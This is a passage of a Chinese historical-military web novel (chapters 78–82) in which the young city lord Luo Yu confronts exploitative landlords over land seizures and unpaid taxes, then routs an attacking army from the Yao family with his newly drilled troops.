洛羽这才钻出地头,来到二人身边坐下,擦了擦满头汗水:
“农活不好干啊,正值春耕,现在不好好打理田地,等入了秋难有好收成,还得求老天爷赏脸。”
中年汉子好奇道:
“我看你干活是把好手,莫不是农客?如果是如果我劝你一句,这地方别待,不值当。”
有一些庄稼汉自家没地,只能去地主家帮工种地、挣点工钱,为了找活能跑到离家上百里的地方去,四处游荡,这批人就被称之为农客。
显然他把洛羽当成了找活的农客。
洛羽笑了笑:“这位大哥怎么称呼?”
“许韦,这是我爹,这里叫许家庄,大部分人都姓许。”
皮肤黝黑的中年汉子给洛羽倒了碗水:“喝口水吧。”
“谢谢。”
洛羽望向庄稼地:“这地是你们家的?”
“嗤,怎么可能。”
许韦自嘲似的摇了摇头:
“村里所有的地都是地主许南家的,咱们都是在给他种地,挣点粮食工钱。”
洛羽疑惑不解:
“既然都姓许,为何的都是他家的呢?总不至于他们家是先来的,早早就占了地,你们都是外来户吧?”
“既然都姓许,那自然是同一个祖先了。”
许韦耷拉着脑袋:
“小时候家里也是有十几亩地的,后来就没了。”
“好端端的,地怎么能没了?”
许韦不再说话,但眼眸深处闪过一抹愤怒与悲戚。
“是不是被地主许南一家强占去了?”
“年轻后生,你就别问了。”老许头苦笑一声:“和你又没关系。”
“咕咕咕。”
洛羽的肚子突然叫了起来,干了半天农活,肚皮早就空了。
许韦犹豫了一下,粗糙的手掌从包袱里掏出一个发黄发黑的馍馍,掰开一半递给洛羽:
“吃吧,帮我们干了半天活,这算是报酬。”
洛羽接过半块馍馍:
“干一天活,一顿要吃几个馍馍?”
“几个?你想多了。”
许韦摇了摇头:
“这一个馍馍就是我和爹中午的饭食了,要挨到晚上回家。”
“什么?”
望着还没巴掌大的小馍馍头,洛羽目光震惊:
“两个人一整天吃一个馍?怎么可能顶得住?”
自己也是农家出身,十岁不到就下地帮娘亲干活,那时候自己吃得都比爷俩多。
“中午吃半个馍馍,晚上回去再弄点野菜糊糊充饥,勉强饿不死。”
许韦将手中的半块馍馍又掰开一半递给老人:“还有一大家子人要养活,能有口吃的就不错了,没啥别的奢望。”
“你们帮许南家种了这么多地,难道连一家人吃的都挣不来?”
“你怎么老是问他们家?”许韦终于皱起眉头:“你到底是谁,想做什么?”
洛羽没有回答,只是打开自己的包袱取出两张大饼,上面甚至还泛着点点油花。
父子俩的眼睛一下子就直了,香,好香!
“回答我的问题,这饼就给你们。”
洛羽将油饼递到老许头面前:“你们家的地为何会到了许南手里,给他们种地,没有工钱吗?”
老人哪能忍得住这个诱惑,毕竟家中老小还在等着吃饭,赶忙接过油饼说出了往事:
“很多年前家家户户都有的,许南家只是比普通人富裕些的地主。后来**从哪找来了一帮地痞流氓,开始强占各家田地,伪造地契、强买强卖,各种坏主意都用遍了。
你若是不从他们就又打又骂,甚至敢半夜烧了你的房子。咱们这些老百姓哪能弄得过地痞无赖?渐渐村里的地就都成了许南家的私产。
十几年前许南盯上了我家的地,带着人上门将我一顿毒打,抢走了地契,从那以后家中便没了地。”
“当时我还小,眼睁睁看着十几个壮汉冲进家里,毒打我爹,我又哭又闹。
至今我爹身上还有伤疤,差点被打断了一条腿。”
许韦默默卷起爹的裤腿,明显有一块骨头突在外面:
“当时我小,斗不过那些坏人,如果是现在我肯定跟他们拼命!”
“冲动有什么?”老许头默然:“你一个人怎么斗得过他们那么多恶奴?只会活生生**。”
“竟有如此丧尽天良的事!”
洛羽眉头紧锁:“官府呢,官府不管吗?”
“官府?哪来的官府?”
许韦自嘲道:
“岐城一直是废城,没人管没人问,各个村子都是大地主说了算。”
“君家呢?岐城不是名义上归君家管吗?”
“君家?君家又怎么会管我们这些贱民的命,他们和许南才是一伙的。”
老许头低着头:
“从那以后我们只能给许南家种地干活,忙碌一整年也吃不上一顿饱饭,天天饿肚子。
丰年也好、灾年也罢,反正许南给村民们的工钱只保证你不饿死,想有余财那是不可能的。”
“好算盘啊。”
洛羽目光冰冷,都说好死不如赖活着,只要还能有口饭吃村民们就不会**,万一把村民逼上绝路,指不定要拆了许南的家,跟他拼命。
“年轻后生,你到底是什么人?我看你一点也不像个农客。”
老许头疑惑不解,农客是绝对拿不出两张油饼的。
“我叫洛羽,你们应该听过我的名字。”
“洛,洛羽,您是洛城主!”
老许头吓了一跳,颤颤巍巍地跪在地上,可许韦却不一样,眼眸中没来由的多出一丝愤怒。
洛羽看着他:“你好像有话要说?”
“本以为你是什么苦命人才和你说这么多,没想到你和他们一样,都是高高在上的富贵老爷。”
许韦死死攥住拳头:“怎么,以为施舍我们两块饼就是天大的恩情了?你们都不是好东西!”
“住口,别说了!”老许头吓得一哆嗦,连连磕头:
“大人,我儿子不懂事,性子鲁莽,求您法外开恩,别跟他一般见识。”
“爹,你别
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给这种人磕头,我许韦不怕!”
中年汉子怒气冲冲:
“一开始听说有个少年英雄当了城主,还以为能过几天好日子,可结果呢,日子不还是和以前一样?
说起来许家庄是你的属地,可你这位城主大人来看过村民吗?你管过我们的死活吗?
我许韦一人做事一人当,就算杀了我也不怕!**的世道,反正早晚得死。”
不知道是不是以前的事刺激到了许韦,情绪变得十分激动。
“我可没说要**,老人家您起来。”
洛羽扶起了老许头:
“你说得对,我当了城主,几个月也没来看看村民是我不对。以前你们的日子苦与我无关,但现在你们是我的属民,如果整天饿肚子,连饭都吃不饱,那就是我的错。”
洛羽完全没生气,甚至还主动认错的态度让父子俩愕然无比,这位城主大人这么好说话吗?不是说**不眨眼吗?
“许家给的工钱这么低,你们为何不去寻其他挣钱的法子?”
洛羽反问道:
“我记得苍岐城在各村都贴了告示,可以去参与修建城墙,或者从军,工钱军饷都比许家给的多得多,养活一家人完全没问题。
为何不去?”
这是洛羽最好奇的地方,苍岐建城需要大量的民夫,所以一直在招工,可慕名而来的百姓大多是流民、难民,附近几个村子的百姓一个也没见到。
如果说地主们给的工钱高也就算了,可现在看起来并不是。
“我想过去苍岐做工,可许南家不让,他说谁敢去城里做工,以后再也别想种他家的地,我们走了,他家的地肯定就没人种了。
鬼知道苍岐城哪天会换城主,可咱们一辈子都得待在许家庄,谁敢违背许南的意思?”
许韦冷声道:
“至于从军,一点点军饷罢了,谁愿意把脑袋别在裤腰带上玩命?”
“从军不仅仅是为了钱,还是在保护自己的家。若是无人从军,日后羌兵打进来怎么办?”
“保护自己的家?哈哈!”
许韦讥讽地笑了起来:
“保卫两间茅草屋吗?我看是保卫你们这些富贵老爷的田地吧!
说句不好听的,羌兵也好许南也罢,在我眼里没什么不一样,反正我们一亩田地都没,贱命一条,迟早要死。
与其上了战场被蛮子稀里糊涂剁了,倒不如窝在小山村陪陪家人,还能多活几年。
洛城主,如果你是我,你会用自己的命去保护许南的地吗?”
洛羽愣住了,他第一次被问得哑口无言。
沉默了很久很久,洛羽抬起头来:
“如果有一天你有了自己的地呢?能养活自己的家人,还能吃饱穿暖,你会怎么做?”
“那我豁出命也会守住自己的地!”
许韦怒气冲冲:“就算是天王老子来了也别想抢!”
怒气缓缓消散,许韦重新变得颓废与落寞:“可这样的日子,只能在梦里才有。”
“驾!”
“哒哒哒!”
马蹄声骤然而起,小伍领着七八名骑军疾驰而来,躬身抱拳:
“城主,几个村子的地主都到了,全在许南家中。”
洛羽翻身上马,轻扯缰绳:
“我向你保证,以后你会有自己的的!”
第79章你是天才!
许南的家在许家庄极为显眼,占住了村里最好的位置,四周建起围墙,门口还有提着棍棒的家丁,宛如一座小型堡垒。
陇西的地主们大多会建这样的庄子,一来防范羌贼土匪、二来也防止饿昏头的流民来**。
正厅里坐着七八名老爷,全都是各个村落的地主,苍岐下属的几个村落里属他们最有钱。
平日里耀武扬威的老爷们此刻全都毕恭毕敬,大气都不敢喘,只因主位上坐着的是洛羽。
完颜昌在阙州境内凶名赫赫,可洛羽却是踩着完颜昌的人头才当上了苍岐城主,谁不怕?
“初次见面,大家用不着拘谨。”
洛羽很随意的说道:
“我今日来别无他事,只是和你们聊一聊田赋的问题。
今年前三个月的田赋被君家收走了,但往后九个月的田赋你们该交给我。
我知道君家收税是十五抽一,我也是十五抽一,剩下九个月的田赋我要一次性收齐。
给大家半个月的时间,够了吧?”
几位地主老爷心头一紧,面面相觑,果然是这档子事!
最后还是许南硬着头皮先开口:
“洛城主,去年年景不好,好多田地颗粒无收,各个村子都欠收,田赋若是能减免一些……”
“此前交给君家的田赋,减了吗?”
许南一愣:“没,没有。”
“那遇到收成好的年景,我是不是要加税?”
连着两个反问让许南哑口无言,老脸都红了几分。
见场面尴尬,另一位姓王的地主赶忙站出来打圆场:
“君家收多少税,咱们自然也得给洛城主交多少税,一石粮食都不敢差。
可是各家屯粮都不多,收税的方式能不能改成三个月一交,一次**齐今年的田赋实在是捉襟见肘。
还望洛城主大**量,体谅一下小人们的难处。”
“捉襟见肘?不对吧。”
洛羽好奇道:
“我进庄子的时候看到打谷场上有十几座粮仓,满满当当都是粮食,去年不是欠收吗,这些粮食哪来的?起码许老庄主不缺粮。
还有你们各位的庄子我都派人去看过,不敢说你们腰缠万贯吧,但起码家底都比我这个当城主的要殷实。
不知道你们是真没粮,还是不愿交。”
这下全都噎住了,没想到洛羽竟然有备而来,提前将他们的家底探了一遍。
“属民向城主交税那是天经地义,既然各个庄子的地都是你们的,那你们就该交税。”
洛羽漫不经心地放下茶杯,缓缓抬头,语气中陡然多出一丝冰冷:
“我今天来不是跟你们商量,而是通知你们,半个月之后各家必须将粮食送到许家庄,我会派人统一来收。
不愿交的,后果自负!”
……
一匹匹骏马往来驰骋、尘土飞溅,一排排步卒整齐列阵,挥舞着**弯刀,怒喝声不绝于耳。
苍岐城总计有军卒四百余、战马一百五十匹,分成四旗,四旗百户分别是董川、蒙虎、吕青云、余寒弓。
三个月来洛羽有空便来演武场看看,提出一些练兵思路,而具体的练兵则由萧少游负责。
整整三个月的操练,军容军威已经大变样。
以前不管是老兵还是新兵,总有一种懒散、吊儿郎当的感觉,只有上了战场才有杀气。
但现在每个人都挺胸抬头,没有号令就纹丝不动,一什、一标、一旗乃至全军上下皆是如此,哪怕不穿军服你也能一眼看出来这家伙是当兵的。
更重要的是所有人都能做到闻鼓而进、鸣金而收、号令严明。
萧少游负手而立:
“乌合之众与精锐之师最基本的区别是什么?就是号令!
以前边军打仗,冲锋就是一哄而上,争抢军功;撤退就是不顾队形、撒丫子狂奔,毫无军纪军规可言。
这样的兵能打什么胜仗?
所以我练兵,第一步就是要让所有人都听令而行,这样全军上下才能如臂指挥,指哪儿打哪儿!”
“说得好!”
洛羽微微一笑:
“我提出的那些方法是不是很管用?”
对于阵法、号令、骑战、枪术洛羽没什么好教的,萧少游这方面很强,但他提出了一些现代化的练兵方法供萧少游采纳。
“简直太有效了。”
萧少游很是佩服:
“当初我不理解你为什么要让将士们起床之后要叠被子,甚至还有叠成豆腐块;绕着校场跑操、还要一动不动地站上半天军姿,在我看来这就是表面功夫。
现在我明白了,你是着眼于细枝末节。
让他们明白这里是军营,他们是军人,军规军纪四个字要时刻印在脑子里。
等他们骨子里有了这种概念,便能做到令行禁止,那上了战场自然而然就是精锐!”
“没错,你领悟得很好。”
洛羽很满意,萧少游太聪明了,一点就透,自己提出的练兵方法他能一丝不苟地执行下去。
“不过这些兵油子就没抱怨、不满?总不见得人人听话吧?”
洛羽太了解手下的士兵了,刺头不少,甚至连蒙虎、吕青云他们也都算刺头。
“当然有抱怨的,甚至有人一开始还想抗命,所以我立下了军规,比如被子叠得不整齐,当天就没饭吃!”
萧少游冷声道:
“晨鼓一响,全军上下从
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都尉、副都尉、百户到最普通的士卒必须依令而行,违者受罚!
一视同仁!”
站在后面的小伍悄悄地说了一句:
“开始几天萧都尉就叠不好被子,硬生生饿了两天。”
“这么狠?”洛羽惊了:“你小心饿坏肚子。”
“为将者,必须要给下面的人做表率!”
萧少游沉声道:
“约束不明、申令不熟,将之罪也。
我和他们同吃同住、同训同练,我如果能做到,他们凭什么做不到?
反之我自己做不到,又凭什么让手下士卒做到?”
“佩服!让你带兵真是找对人了!”
洛羽由衷地竖起了大拇指,在他看来萧少游完全有成为一流名将的潜力。
萧少游接着说道:
“骑战之术也在操练,虽说咱们只有一百五十匹战马,但现在所有军卒都上马能战,只要有足够的战马,我们立马能拉出一支骑兵。”
“战马的事我来想办法,操练的事交给你。”
洛羽突然说道:
“我有一个想法,你看看可不可行。”
“说。”
“我觉得你是不是该抽空教将士们读书认字?军中士卒大多是穷苦百姓出身,大字不识一个,可领兵打仗总是一群大老粗怎么行。
要去学习,要握一握笔杆子,提高了他们的文化素养,带兵能力自然而然就上去了。”
“文化素养?”
这个词虽然陌生,但萧少游大概能懂是什么意思。
“还有,我看你的训练方法是告诉每一个什长、标长、百户他们在战场上该做什么,这么做没错。
但我觉得你可以提前培养他们,打个比方,建立一个学堂一样的地方,教什长怎么去当好一个百户、教标长怎么去当好一个都尉。”
“提前培养?”
萧少游的眼神中出现了一抹茫然,并不明白这么做的用意。
洛羽大手一挥,指向校场:
“没错,我们现在只有四百人,可以后我们会有四千人,甚至四万人!到时候你还有精力去手把手地教吗?
如果我们提前培养出四十名乃至四百名都尉,日后兵力扩充便是水到渠成,全军上下依旧能像你说的那样做到令行禁止。”
“我明白了,这是在未雨绸缪。!
兵马未动,粮草先行,军力未扩、军官先行。”
“对,就是这个意思!”
洛羽很满意,萧少游向来是一点就通,不需要他多解释什么。
萧少游看向校场,正值黄昏,余晖倾洒在每一名军卒的甲胄上,寒光点点:
“四万人,以后我们会有四万铁骑!”
“甚至更多!”
第80章命悬一线!
半个月,苍岐城风平浪静
洛羽站在半山腰处望着山口,民夫百姓们正在搬运石块进入城内,开始建造城墙。
岐城虽然早已荒废,但废弃的城墙却帮了苍岐大忙,有大量切割、打磨好的石块可以直接用,足够苍岐建起一道雄伟的城墙。
城墙的位置比营墙往后移了三里路,正好卡在山口最窄的位置。洛羽的思路很清晰,一道营墙、一道城墙,以后苍岐城就相当于有了两道防线,从营墙到城墙之间可以建造军营用来屯兵。
一部分军卒的家属已经在黑岐山开挖梯田,垦荒种地,这是沈漓的主意,第一批梯田给了军属,那从军的士卒就会拼死守卫苍岐,算是给他们的一个念想。
剩下的百姓几乎全都参与了城墙的建设,毕竟洛羽不是白给他们饭吃的,每个人都得干活,虽然苦了点累了点,但洛羽给的工钱绝对是高价。
苍岐城日新月异,洛羽看在眼里喜在心里,现在已经不单单是为了让苍岐发扬光大、完成五年之约,还有一种油然而生的成就感。
这是自己的城,城内都是自己的属民!
萧少游从旁边疾步走来,沉声道:
“许家庄那边来消息了。”
“怎么说?”
“各家已经将田赋凑齐,送到了许家庄,只等着我们去拉回来。”
“咦,他们这么心甘情愿地就交了田赋?”
洛羽目露诧异,从那日的交谈来看似乎没人愿意缴纳田赋,可现在却将按照约定将粮草凑齐了,莫不是真被洛羽的凶名给镇住了?
“许南的说法是粮草太多,咱们得多带点人过去运。”
萧少游轻声道:“但我总觉得此事有诈。”
“哪里不对劲?”
“其一,我派人暗中去许家庄打探了一番,各家送粮的家丁并没有走,全都**在许家庄,粮都送完了还不走,不奇怪吗?
其二,以前君家对于这一片的田赋并不关心,实际上他们只要花点银子贿赂君家的管事人就可以免除赋税,如今要一次性缴纳这么多田赋相当于扒了他们一层皮,他们真的甘心?”
“你是说,有陷阱?”
洛羽目光微凝:“仅靠着些许家丁恶奴翻不起什么浪花吧?如果真有阴谋,起码得借助外力。”
“外力?”萧少游眉头微挑:“你的外力是指凤川城姚家?”
思来想去,苍岐城的仇人就只有鼎香居和姚林。
“料敌从宽嘛。姚家最近有没有动静?”
“没有,一切如常,并未听说有军卒出动的消息。鼎香居也按照谈好的在听雨楼买酒,再售卖。”
洛羽可不会轻易信任姚林和杜刚两人,听雨楼那边一直在注意姚家的动静。如果姚家有任何不正常的举动,江殊一定会第一时间派人送信。
“没有就好。”
洛羽冷声道:
“那就让董川带着手下兵马去一趟吧,将粮草全都拉回来,叮嘱他多加小心。”
“我也是这么想的,董大哥心思稳重,最适合做这件事,要不要多带些兵马?”
“一百军卒,足够了。”
洛羽冷笑一声:“就算是那些地主老爷们想狗急跳墙,靠他们那些家丁仆役也成不了气候!”
……
夜幕昏暗,晚风吹拂。
苍岐城头闪烁着点点火光,“洛”字大旗在夜空中缓缓飘扬,玄色的旗面,烫金的字体,威武中带着一丝肃杀。
深更半夜,洛羽还没有睡,独自一人站在营墙边驻足远望,目光闪烁,似乎有心事。
“这么晚了怎么还没睡?”
清脆的嗓音从背后传出,洛羽知道是沈漓,头也不回地问了一句:
“睡不着,你怎么来了?”
“小伍说你在这站了一个时辰,我顺路过来看看,正好跟你汇报一下近期卖酒的收入。”
“不用跟我说,你自己将账册记录好就行了,三锅头的售卖就由你全权做主。”
这阵子沈漓的表情让洛羽很满意,将账册、物资、军粮安排得井井有条,从没出过任何纰漏。
沈漓犹豫了一会儿,将手中的披肩搭在了洛羽的身上:
“晚上风凉,还是多穿点吧。”
披甲上身,确实多了几分暖意,洛羽的心莫名的跳动了一下。
“谢谢。”
平静的谢声竟然让沈漓的脸颊红了一点,强装镇定的问道:
“你是不是在担心董大哥他们?”
黄昏时分董川就带人出发了,许家庄离苍岐城不算近,有二十多里路,估计要磨蹭到半夜
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才能到。
“被你猜中了。”
洛羽揉了揉发酸的眉头:“自从董大哥出城之后我的眼皮子就一直跳,总觉得哪里不对劲,但又说不出来。”
“放心吧,没事的。”
沈漓轻声劝道:
“董大哥行事稳重,手下军卒又都是老兵,还会怕几个地主老爷?”
“那就借你吉言了。”
洛羽转过身来:
“走吧,若是顺利,明天一早田赋就能运回来了,咱们睡觉去吧。”
“咱们?睡觉?”
沈漓本能地愣了一下,语气中出现了一丝惊慌。
“想什么呢。”洛羽没好气地白了她一眼:“各睡各的!”
“我不是这个意思!”
沈漓的脸腾得一下就红了,又羞又气。
“那你是什么意思?”
“我,我没什么意思!”
“驾!”
“哒哒哒!”
就在沈漓即将暴走的时候,夜幕中突然传来一阵急促的马蹄声,隐约还有吼声飘入城头:
“洛城主,洛城主!”
一驾马车钻出了夜色,驾车的车夫奋力地挥舞缰绳,飞速靠近营墙。
“听雨楼的车驾!”洛羽一下子就认出来了,急喝道:
“快,开城门!”
马车半刻都没有停,眨眼间就冲进了城门。
车夫是江殊身边的管家,看到洛羽疾步走来,老人几乎是带着哭腔说道:
“洛城主,求求您救救我家掌柜!”
洛羽心头一惊,人还没走近就闻到了淡淡的血腥味,一把掀开车帘,眼前的景象让他目光冰寒。
一向风度翩翩的江殊此刻浑身血污,蜷缩在马车里,脸色惨白,已经陷入了昏迷。
“出什么事了!”洛羽看向老管家:“怎么伤得这么重!”
老管家哽咽道:
“黄昏时分掌柜得让我驾车,说要来苍岐,要快!可咱们刚走到城外的林子就遇到了一伙蒙面**,随行的几个伙计全都**,掌柜的也挨了一箭。
求洛城主救救我家掌柜。”
“**?”
“洛,洛兄。”
昏迷中的江殊艰难地睁开眼眸,死死抓住洛羽的手掌:
“姚家,姚家在集结兵力,明天一早要,要攻打苍岐!”
第81章优势在我
火把的亮光照亮了许家庄的打谷场,这里是事先约定好交粮的地方。
董川带着麾下一旗兵马在半夜到了许家庄,打谷场上却空空荡荡,没有看到一车粮食,只有许南等七八位地主老财站在这。
这几人的眼神中好像带着一丝讥讽和戏弄。
“许老庄主,粮食呢?”
董川目光微挑:
“我大老远的带着兄弟们过来,若是带不回粮食可没法跟城主大人交差啊。”
许南满是皱纹的脸上露出一抹轻笑:
“抱歉,出了点小意外,今日百户大人怕是带不走粮食了。”
“你是认真的?”
“是!咱们不会向苍岐交一粒粮!”
话音一落,场中气氛陡变。
董川的脸色一点点冷了下来:
“你们可是苍岐城的属民,不交田赋,想过后果吗?”
“后果?哈哈哈!”
许南竟然仰天大笑:
“我倒是真想看看,不交田赋能有什么后果!老夫在许家庄这么多年,难道还会怕一个乳臭未干的毛头小儿?
都出来吧!”
笑声落罢,打谷场周围涌出了无数手持朴刀、棍棒的青壮。这些都是各大地主家中的恶奴、打手、闲养的地痞流氓。
其实这就是牙兵的雏形,有几十号家丁的时候你就是个小地主;当你有了几百兵丁就能成为洛羽那样的小城主;等你有了上千人、上万人,那就会成为姚林,甚至定州君家、阙州李家那样的人物。
说白了,大鱼吃小鱼、小鱼吃虾米,一切靠拳头说话。
“好大的阵仗啊。”
面对乌泱泱涌出的两百家丁恶奴,董川不怒反笑:
“这么点人就敢动歪心思?”
“蹭蹭蹭!”
一百精悍军卒同时拔刀,以董川为中心形成了一个封闭的圆阵,**盾牌在前,苍刀寒光凌冽,一股肃杀之气陡然弥漫全场。
无人面露惧色,只有一百张坚毅而又冷酷的面庞,这群家丁在他们眼里甚至连乌合之众都算不上。
“他们不够,再加上我呢!”
一声怒吼,再度有上百人涌入打谷场,这些人可不是家丁了,而是正儿八经的军卒,个个手握**。
一名胡子拉碴的陌生男子站在了许南身侧,讥讽道:
“苍岐在我姚家面前,不值一提!”
“原来是姚家的人。”
董川眉宇微皱:
“怪不得你们敢和苍岐对着干,合着是找来了援手。”
“哈哈哈,是又如何!”
援兵尽数现身,许南的底气越发足了:
“今天就跟你交个底吧,不止是你,你们的洛城主也活不到明天了。只要灭了你们,以后咱们再也不用交田赋!
别怪我们心狠手辣,要怪就怪洛羽得罪了不该得罪的人!
明年的今天,就是你们的祭日!”
“是吗?”
弯刀一点点出鞘,董川的面庞已经彻底**意笼罩,刀锋前指:
“就让你们见识一下,乌合之众与精锐的区别!”
董川丝毫不乱,苍岐城自有洛羽镇守,他绝不相信小小的姚家有本事灭了苍岐,他要做的是解决眼前的危局。
“杀!”
……
日初清晨,第一缕阳光洒在了苍岐城头。
春风和煦,洛字军旗在风中猎猎作响。
安详、静谧,又带着一丝诡异。
今日的苍岐格外安静,往日劳作的民夫百姓全都不见了,所有的青壮男子都站上墙头,拿着一把木制长弓。
苍岐城的正规兵只有四百,但只要一有空萧少游就会组织青壮百姓练习**,刀枪,起码让他们面对危险时有自保的能力。
山口外静悄悄的,突然就惊出了一片飞鸟,在空中胡乱扑腾。
萧少游负手而立,嘴角带着一丝趣味:
“来了。”
山口处响起了轰鸣声,一支狭长的行军队列涌出,灰尘四起,迅速在城外列阵,还立起了一面“姚”字大旗。
“唔,不少人啊。”
这一次姚家整整出动了八百兵丁,整座凤川城也就一千五百兵马,姚林一次性就掏出了半数家底,足见其想以雷霆之势一举扑灭洛羽。
但八百人几乎都是步卒,要不然也不会花了一整夜的时间才从凤川城赶到苍岐。
黑压压的军阵看似声势浩大,实则队列站得歪歪扭扭,颇为混杂。
姚林是老兵退下来的,可他手中这些兵可从没上过战场,也就比土匪强一点点,胜在人多。
前排军卒熙熙攘攘地举着盾牌,后排竖起**弯刀,大部分人都满脸疲惫。
你试试一夜从凤川到苍岐跑个八十里?累不死你!
领兵的是姚昌,就是前
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些天蒙虎给鼎香居送酒时半途扣押酒水的那位。
杜刚也来了,他要亲眼看着苍岐城覆灭,再亲手从洛羽手里抢过三锅头的秘方。
“看样子苍岐城早有防备啊。”
姚昌漫不经心地望向城头:“江殊的命还真大,这都让他跑了。”
“早有防备又能如何,城内最多两三百军卒,成不了气候。”
杜刚目光狰狞:
“合作?一个外来户也配与我们合作?真把自己当个人物了!”
姚林和杜刚怎么会选择与洛羽合作,在他们看来听雨楼把酒卖给鼎香居完全是施舍,这种侮辱是两兄弟决不能接受的!
“驾!”
姚昌策马向前,朗声高喝:
“苍岐城私通羌贼、叛国通敌,奉姚城主军令,剿灭叛逆!
城中贼寇速速开门投降,否则城破之日尽数格杀!”
满城的百姓怒气冲冲、满心悲愤,他们天天生活在苍岐城内,一起修墙一起过日子,城内有没有羌贼他们能不知道吗?
分明是姚家血口喷人!
这就叫师出有名,编也要给你编个罪名!
萧少游甚至都懒得回应,只是轻轻一挥手掌便有战鼓声逐渐回荡。
“咚!”
“咚咚!”
三座营门同时大开,一百精骑疾驰而出,然后从迅速在墙脚下铺开一道道锋线。
洛羽打头、蒙虎吕青云一左一右。
骑兵的数量是不多,可人人身披黑甲,远远望去气势如虹。
骑兵涌出的同时,在姚家兵马的后方各出现了一座方阵,同样只有一百人,占住了两翼阵脚,领兵之人分别是韩朔和余寒弓。
苍岐城的三百人竟然对姚家兵形成了一种包围态势。
姚昌蒙了:
“苍岐城的人都是傻子吗?这么点兵马也敢出城迎战?
不过也好,省得老子派兵攻城。”
天底下哪有三百人包围八百人的道理?姚昌觉得自己可以不费吹灰之力拿下苍岐。
“或许是垂死挣扎吧。”
杜刚同样不在意:“螳臂当车罢了!”
“呜~”
“呜呜!”
凄厉的号角声开始漫天回荡,列阵城外的一百精骑缓缓向前推进。
高居墙头的萧少游面带笑意,手掌在虚空中轻轻一握:
“三百对八百,优势在我!”
第82章练兵的磨刀石
一百精骑,苍岐城中最精锐的一百悍卒,全都参加过云阳关之战。
十人一排,正好十道锋线。这座骑阵若是放在边关战场那就是沧海一粟,翻不起半点浪花,可这里是内地,他们面对的只不过是一群乌合之众。
萧少游神色平静,嘴角上扬:
“今日是苍岐军的初战,就拿你们练练手吧。”
缰绳挥舞,马蹄渐起烟尘,一排排**斜举冲前。
骑兵前冲的那一刻姚昌就意识到不对劲了,刚刚离得远他看不清,可现在他却惊讶地发现每个人身上都穿着黑色铁甲。
“怎么可能!”
要知道姚昌麾下八百人,配穿铁甲的只有几十号亲兵,然后他就发现不仅是骑兵,身后两座方阵的军卒同样穿戴铁甲。
“列阵迎敌,快!”
姚昌拔剑怒喝,心中隐隐有一股不安浮现,他觉得有些诡异,苍岐城哪来这么多铁甲?整个凤川城也凑不出甲胄严整的三百精兵啊!
八百军卒虽然摆成一个阵势,看似盾牌林立、**高举,有些唬人,可当马蹄声震耳欲聋的时候前排军卒明显开始慌乱。
别小看一百匹战马冲起来的样子,那种窒息感扑面而来,他们甚至能感受到脚下的地面在震动,没上过战场的姚家兵哪儿见过这种阵仗,有的人双腿都在打颤。
“不要乱!”
姚昌强压住内心的慌乱吼道:
“我们人多,稳住阵型就能赢!”
“放箭,快给我放箭!”
零零星星的羽箭飞出,既射不准又没什么杀伤力,连迟滞骑兵的作用都没起到。
洛羽居中,十名悍卒打头,前排锋线距离姚家兵只有十几大步,他们甚至能清晰地看见一张张惊慌失措的面庞。
“驾!”
前排悍卒几乎是同时一夹马腹,加速前冲,就像一次次练习的那样,十匹高头大马完全是齐头并进。
洛羽冰寒的脸上终于多出一抹杀意,挺枪向前:
“犯我苍岐者!”
“死!”
洛羽起手一枪,姚家兵手中的劣质盾牌就像是纸糊的一样,一捅就破,随即枪尖就捅穿了军卒的胸口,鲜血飞溅。
枪尖顺势再一挑,死尸宛如断了线的风筝往后倒飞,又砸倒了一片人。
“杀!”
“砰砰砰!”
“噗嗤噗嗤!”
十名悍卒的动作几乎与洛羽如出一辙,第一枪出手必定杀敌建功,鲜血横飞,姚家兵所谓的防线瞬间被撕开了一道缺口。
最前面的三排锋线一冲而过,紧跟着便是蒙虎率兵的三十精骑加速冲阵。
从被姚昌带兵扣下酒水的那一天起,蒙虎心中就憋了一肚子火,今天可是仇人相见分外眼红。
别人都是一枪直刺,人高马大的蒙虎竟然握住枪杆横挥而出,势大力沉的一枪直接将四五名聚在一起的敌军砸得吐血**,接着纵马入阵,大杀四方,山岳般的体型在军阵中宛如杀神。
蒙虎之后便是吕青云,奴庭出身的汉子身材不如蒙虎那般健硕,可却从骨子里透出一股狠厉,枪法极为刁钻,枪尖所过之处决不留下活口。
洛羽亲自开阵、蒙虎居中衔接、吕青云最后收尾,接连三轮凿阵直接把姚家军打蒙了,死尸遍地。
前方军阵已然崩溃,可后面的人还不知道是啥情况,只能听到凄厉的哀嚎声不断回荡在耳边,死亡的恐惧笼罩在所有人的心头。
“我,我不想死啊!”
不知道是哪个小兵带头,尖叫一声扭头就跑,有了人带头其他人个个撒开脚丫子狂奔,毕竟谁跑得慢谁就得脑瓜子挨刀。
兵败如山倒。
“唉。”
萧少游竟然露出一丝不满:
“不堪一击,这样让我怎么练兵?”
军阵一触即溃,八百人作鸟兽散,姚昌牙呲欲裂,当场拔剑**了两名逃兵:
“不准跑,顶住,给我顶住!”
“谁敢当逃兵,杀无赦!”
“狗贼,老子找你好久了!”
蒙虎的怒吼声穿透战场,震得姚昌耳膜发颤。其他骑兵都在战场中横冲直撞,大杀四方,一根筋的蒙虎却直奔姚昌而来。
“拦住他!快!”
七八名护卫骑兵呼啦啦地扑了上去,可蒙虎的凶悍程度超出了他们的想象,**频出,招招致命。姚昌的亲兵统领也算悍勇,怒目圆睁,挺**向蒙虎:
“纳命来!”
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>“什么东西,给我滚开!”
蒙虎甚至都没有出枪,而是随手抽出苍刀,顺着袭来的枪尖狠狠一劈:
“咔擦!”
锋利的弯刀径直劈断了枪杆,在对面惊骇欲绝的目光中一刀砍在了身上,当场就卸掉了他整个手臂,鲜血飞溅。
血腥的一幕直接把姚昌和杜刚给吓傻了,天底下怎会有如此勇武之人?而且那把刀是怎么回事,怎会如此锋利?
“姚,姚将军,要不咱们也撤吧。”
杜刚说话都在打颤,虽说他也上过战场,可当了这么多年的富贵老爷,哪还有边军的血性。
“撤,快撤。”
姚昌慌了,与杜刚两人转身就跑,八百姚家兵在这一刻溃不成军。
提前一步绕到敌军身后的两座步阵终于开始发挥作用,韩朔和余寒弓卡在山道两侧,姚家兵若是想跑就一定要从两阵中间穿过,他们只需要不停地放箭就能大量杀伤姚家兵。
箭矢在空中飞舞,不断有人中箭倒地。
此时此刻姚昌终于明白为何要放两座步阵在身后了,因为击败他们只需要一百骑兵,剩下的两百人是用来关门打狗的。
“冲过去,给我冲过去!”
一面倒的战斗,仓皇逃窜的溃兵甚至连反击都成了奢望,丢盔弃甲,每个人只想着如何逃离鬼门关。
在一群亲兵的拼死护卫下,姚昌和杜刚堪堪冲过了包围圈,两个人早已吓得面色惨白,姚昌拼了命地催动战马:
“回凤川,快回凤川!”
